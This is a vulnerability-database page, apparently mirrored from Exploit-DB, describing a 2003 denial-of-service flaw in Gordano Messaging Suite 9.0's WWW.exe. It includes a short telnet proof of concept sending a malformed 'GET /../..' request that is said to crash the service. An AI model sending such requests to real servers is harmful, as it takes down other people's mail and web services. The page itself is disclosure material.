Gordano Messaging Suite 9.0 – ‘WWW.exe’ Denial of Service

Gordano Messaging Suite 9.0 – ‘WWW.exe’ Denial of Service

漏洞ID 1054159 漏洞类型
发布时间 2003-09-10 更新时间 2003-09-10
图片[1]-Gordano Messaging Suite 9.0 – ‘WWW.exe’ Denial of Service-安全小百科CVE编号 N/A
图片[2]-Gordano Messaging Suite 9.0 – ‘WWW.exe’ Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23130
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8576/info

It has been reported that Gordano Messaging Suite may be prone to a denial of service issue allowing a remote attacker to send malformed HTTP GET requests to cause the WWW.exe process to crash.

The problme may lead to the termination of services such as Administration, WebMail Professional, WebMail Express, WebMail Mobile, Instant Messaging, and Web Server services, which are provided by the WWW.exe process.

It should be noted that only the WWW.exe process on a Windows system will crash under this condition, on Linux the connection will simply hang without timing out. 

~$ telnet 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1
Escape character is '^]'.
GET /../.. HTTP/1.0

相关推荐: mIRC锁定功能绕过密码机制漏洞

mIRC锁定功能绕过密码机制漏洞 漏洞ID 1205750 漏洞类型 未知 发布时间 2001-06-02 更新时间 2001-06-02 CVE编号 CVE-2001-0315 CNNVD-ID CNNVD-200106-008 漏洞平台 N/A CVSS评…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享